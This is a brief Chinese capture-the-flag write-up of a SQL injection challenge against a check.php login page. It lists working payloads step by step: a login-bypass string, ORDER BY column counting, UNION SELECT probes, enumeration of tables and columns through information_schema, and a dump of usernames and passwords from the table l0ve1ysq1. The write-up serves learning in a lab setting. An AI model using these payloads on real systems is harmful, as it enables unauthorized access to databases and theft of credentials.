1.打开题目
2.题目分析
① 输入万能密码:1’ or ‘1’='1
登录:
跳转到了check.php页面。并得到了用户名和密码:
② 查询字段数,在url中输入:
/check.php?username=admin’ order by 3%23&password=1 存在
/check.php?username=admin’ order by 4%23&password=1 报错
注意:此时是在url中输入的,所以不能用#,而用其url编码%23。
③ 可知共3个字段。用union查询测试注入点(回显点位):
/check.php?username=1’ union select 1,2,3%23&password=1
④ 得到回显点位为2和3,查询当前数据库名及版本:
/check.php?username=1’ union select 1,database(),version()%23&password=1
⑤ 可知当前数据库为geek
接下来:
爆表
/check.php?username=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
⑥ 爆出这两个表,我们试一下l0ve1ysq1这个表:
爆字段:
/check.php?username=1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘l0ve1ysq1’%23&password=1
⑦ 得到这三个子段,
爆数据:
/check.php?username=1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
3.获取flag